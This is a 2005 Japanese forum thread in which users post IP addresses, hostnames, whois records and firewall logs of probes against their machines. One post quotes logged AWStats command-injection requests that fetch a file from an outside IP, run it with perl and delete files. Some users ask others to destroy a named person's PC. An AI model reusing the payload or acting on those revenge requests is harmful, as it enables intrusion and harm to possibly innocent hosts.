不正アクセスしてくるIPを晒すスレ Part7

簡単に自ホストのセキュリティホールをチェックする方法って
何かないかな。

個別ポート指定でスキャンスするサイトなら知ってる。

>>942
http://members.lycos.co.uk/sosonel/in
をDLしようとしてる。
狙われてるということは、ttp://IPではなく、ttp://ホスト名/だと、やられる可能性大かも。
つまり、セキュリティホールのあるバージョンのサーバーと判断された。

>>944
シマンテックが一応オンラインで提供してる。
やってみ。
http://www.symantec.com/region/jp/securitycheck/

>>946
サーバ（マシン全体あるいはウェブサーバ）がじゃなくて、
awstatsの特定バージョンに穴があるんでしょ。有名やん。
うちにも同じのはときどきくる。最新は29日に219.166.34.48からきた。

IPアドレス 202.231.11.246 
ホスト名 intrasrv.asahikawa-nct.ac.jp 
IPアドレス
　割当国　※ 日本 (JP) 

210.143.155.18:135
フリービット株式会社

何か攻撃してくるお（＞＜）

218.217.109.45
achrsm002045.adsl.ppp.infoweb.ne.jp

アクセス禁止にされたサイトを見る方法ってありますか？

ZD084196.ppp.dion.ne.jp
IP（220.214.84.196）
このIPのPC壊すことできますか？
できたらやってください。

>>953
んで、その人がリモートホストを変えない自信はどこからあふれてきてるんですか？

わからんけどこわしてｗ

.　　　+　　 ／Ｋ＼　　／Ｋ＼　　／Ｋ＼　　+　復讐っ
　　復讐っ（　´∀｀∩（´∀｀∩）（　´ー｀）
　+　　（(　（つ　　　ノ（つ　　丿（つ　　つ　)）　　+
　　　　　　 ヽ　 （　ノ　（　ノ　　）　）　）　　　　復讐っ
　　復讐っ（＿）し'　し（＿）　（＿）＿）

いつまでも同じホスト踏み台にしてるようなアフォのPCなら勝手に壊れるだろ

壊せないのか。

>>958
セキュリティホールがなければな

ZD084196.ppp.dion.ne.jp
IP（220.214.84.196）
じゃあやれる人やっちゃって

泥棒の家は用心深いもの

ZD084196.ppp.dion.ne.jp
IP（220.214.84.196）
これ多分用心してないとおもわれ

じゃやってみな
踏み台にされてるだけのヤツならこっちが犯罪だぞ

これも酷い。
2005/11/01(08:15:02) W-SV 211.21.21.227 [80] 302 29 "HEAD / HTTP/1.0" ( )
2005/11/02(20:50:19) W-SV 221024.ds.nac.net(66.246.72.156) [80] 404 0 "GET /awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;wget%20http//203.204.230.205/vnc8.gif;perl%20vnc8.gif;echo%20;rm%20-rf%20vnc8.gif*;echo| HTTP/1.1" ( dummy )
2005/11/02(20:50:21) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:22) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:22) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:22) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:23) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:23) W-SV 221024.ds.nac.net(66.246.72.156) [80]
2005/11/02(20:50:24) W-SV 221024.ds.nac.net(66.246.72.156) [80] 404 0 "GET /stats/cgi-bin/awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;wget%20http//203.204.230.205/vnc8.gif;perl%20vnc8.gif;echo%20;rm%20-rf%20vnc8.gif*;echo| HTTP/1.1" ( dummy )
抜けてるのは同じような内容。パスが微妙に違うだけ。

219.114.1.167
OCN! OCN!
hodogaya

PHPのセキュリティ問題深刻だな。
管理者なおまいらは注意しろよ。

あぱっち！あぱっち！

ほれ来た！

222.13.84.223

ZQ084223.ppp.dion.ne.jp

219-100-38-145.denkosekka.ne.jp [219.100.38.145]

Port：4498にやたらアクセスがあった

IPアドレス「 210.154.158.201 」
ホスト名　「 ris3201.ryucom.ne.jp 」
忘れかけた頃に間違い無く突撃して来るんだよな・・・
沖縄って甘い連中が多いのか？

日付と時刻: 2005.11.5 2:06:38 AM
処理: アクセス試行を拒否しました
サービス: 不明
ポート: 135
モード: TCP
IP アドレス: 210.139.197.176
ホスト名: p8bc5b0.onenum03.ap.so-net.ne.jp

ソネットの糞バカ！　ネトゲ止めれ！

220.97.150.183

OCN

NEWTEAR攻撃ってのとフラグメントフラッドエラーってのが交互に頻繁にあります。
恐いです・・・

勝手に不正アクセスしてくるＩＰを晒していくスレ
FWのIPフィルター設定し、アクセス拒否する参考にドゾー

注：Whois 全部貼らなくていいから
IPと国ぐらいで簡単に報告！

IPアドレスの検索は、

IPドメインSEARCH　
http://www.mse.co.jp/ip_domain/

IPアドレス検索／サイバーエリアリサーチ株式会社
http://www.arearesearch.co.jp/ip-kensaku.html

サイトチェック
http://sitecheck.jp/checkip.phtml

McAfee NeoTrace Express 3.25
http://www.networkingfiles.com/PingFinger/Neotraceexpress.htm

前スレ
不正アクセスしてくるIPを晒すスレ Part7
http://pc8.2ch.net/test/read.cgi/sec/1117558232/

216 名前：名無しさん＠お腹いっぱい。 投稿日：05/01/22 18:37:37
　　　>>216
　　　スレ勉しる。
　　　おまいの晒したIP無意味だぽ。
　　　反論したければ、特定結果かもしくは通報の返答をうｐしる。



　　　っても、池沼にゃ無理な相談か。。。


>>216 m9（^Д^）

*NetBIOS　www.naver.co.kr　NETBIOS_DGM　受信　UDP

パソコンを起動するとファイヤーウォールに必ずこれが出てきます。
時間を見るとパソコン起動時か、ネット接続時などの早期に繋がっているようです。
もちろんＮＡＶＥＲには行っていません。
２ちゃんねるのスポンサーなのでそのせいでしょうか？

誰かわかる方いたら教えてください・・・

IPアドレス 133.46.31.48 
ホスト名 carnation.ier.hit-u.ac.jp 
IPアドレス
　割当国　※ 日本 (JP) 

このIPからしつこくポートスキャンくるんだけど個人？


61.213.156.139

role: Japan Network Information Center
address: Kokusai-Kougyou-Kanda Bldg 6F, 2-3-4 Uchi-Kanda
address: Chiyoda-ku, Tokyo 101-0047, Japan
country: JP
phone: +81-3-5297-2311
fax-no: +81-3-5297-2312
e-mail: [email protected]
admin-c: JI13-AP
tech-c: JE53-AP
nic-hdl: JNIC1-AP
mnt-by: MAINT-JPNIC
changed: [email protected] 20041222
changed: [email protected] 20050324
changed: [email protected] 20051027
source: APNIC

IPドメインSEARCHで調べたらここだった踏み台かな？

Network Information: [ネットワーク情報]
a. [IPネットワークアドレス] 61.213.156.128/27
b. [ネットワーク名] REDSHERIFF
f. [組織名] レッド・シェリフ株式会社
g. [Organization] Red Sheriff
m. [管理者連絡窓口] SE462JP
n. [技術連絡担当者] SE462JP
n. [技術連絡担当者] TT6344JP
p. [ネームサーバ]
[割当年月日] 2003/04/11
[最終更新] 2003/04/11 18:12:03(JST)

以下の３つから大量にftpアタック。
63.110.56.253
68.225.152.253
208.189.27.253

以下からはWebHintsの脆弱性狙いのアタック。
62.101.193.244

220.210.120.74
t120074.ipgw.phs.yoyogi.mopera.

IPって晒されたらヤヴァいの？
あとためしにこのIPについて調べてくだせぇ
i220-108-0-187.s02.a001.ap.plala.or.jp

もうヤヴァすぎ

>>982
北海道
ADSL

>>983
もぉー
プンプン（←きしょｗｗ
>>984
どこで調べましたか？
>>1のリンクにあるやつ？
教えてﾁｬｿｽﾏｿ

（　・∀・）＜ｴﾛいなうんこマン。教えてぇー！　

IPアドレス 60.124.139.28
ホスト名 YahooBB060124139028.bbtec.net

つーか全部IP偽装でアタックしてんだよ
あほかこのスレ

もうやめれ

IP偽装の仕組み知ってる？
IP偽装でどんな攻撃ができるかとか。
IP偽装だと不正アクセスはできない。

>>988
それは、ギャグで言っているのか？（AA略)

>>988
おまいの晒したIP無意味だぽ。

もうすぐカウントダウン開始で終焉。
次スレ立てるなよ！

このスレッドは１０００を超えました。
もう書けないので、終わりです。

あらあら。